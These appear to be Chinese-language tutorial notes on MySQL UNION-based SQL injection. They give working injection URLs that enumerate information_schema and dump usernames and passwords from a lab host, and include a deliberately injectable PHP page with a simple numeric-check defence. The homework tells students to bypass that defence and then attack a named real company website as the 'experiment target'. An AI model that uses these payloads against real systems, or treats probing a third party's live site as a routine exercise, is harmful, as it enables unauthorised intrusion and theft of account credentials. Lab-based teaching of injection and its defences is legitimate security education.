Access注入属于暴力猜解
Mysql5.0以上注入属于有根据的(information_schema数据库)
Mysql5.0以下注入属于暴力猜解
Access数据库
表名
列名
数据
Mysql数据库
a数据库
表名
列名
数据
b数据库
表名
列名
数据
思路步骤:
准备工作:mysql数据库中新建数据(导入数据库并执行)
1.连接mysql数据库
2.设置接受参数并组合sql语句
3.执行sql语句并处理结果
Mysql5.0以上注入获取帐号密码
1.获取当前使用的数据库名
http://192.168.207.128/sqlin.php?id=5 UNION SELECT database(),2,3,4,5
2.获取数据库名下的表名
http://192.168.207.128/sqlin.php?id=5 UNION SELECT table_name,2,3,4,5 from
information_schema.tables where table_schema=0x73716C696E
3.获取对应表名下的列名
http://192.168.207.128/sqlin.php?id=5 UNION SELECT column_name,2,3,4,5 from
information_schema.columns where table_name=0x75736572
4.获取内容数据
http://192.168.207.128/sqlin.php?id=5 UNION SELECT username,password,3,4,5 from user
查询函数:
Database():数据库名 sqlin
User():数据库用户 root
Version():数据库版本 5.5.40
@@version_compile_os:操作系统 win32
Information_schema数据库:mysql5.0以上版本自带的数据库,它是存储mysql数据库下的所有数据库下的表名及列名信息的数据库。
information_schema.tables:information_schema数据库下的tables表名(存储表名信息的表)
table_schema:数据库名
Table_name:表名
Column_name:列名
information_schema.columns:information_schema数据库下的columns列名(存储列名信息的表)
1.针对关键字过滤(正则表达式)
2.判断传参类型(类型函数)
3.行为进行判断
$conn = mysql_connect("127.0.0.1","root","root");//连接mysql数据库并将返回结果赋值给变量conn
//接受参数名为id的值并赋值给变量x
//1.针对关键字过滤(正则表达式)
//$x = str_replace("union","x",$_GET['id']);
//2.判断传参类型(类型函数)
$x = $_GET['id'];
if(is_numeric($x)){
mysql_select_db("sqlin",$conn);//选择连接请求为conn下的fanke数据库
$sql="select * from user where id=$x";
$result = mysql_query($sql);//执行变量sql的语句并将返回结果赋值给变量result
//数组遍历结果选择显示
while($row = mysql_fetch_array($result)){
echo "用户ID:".$row['id']."
";
echo "用户名:".$row['username']."
";
echo "用户密码:".$row['password']."
";
}
mysql_close($conn);
echo '
';
echo $sql;
}
else{
echo "防注入程序";
}
?>
作业:
1.搭建环境,手写注入页面,尝试防注入实现并绕过
2.完成实验目标:
http://www.microtek.com.cn/
(1.没有数字显示 2.表列名显示不全)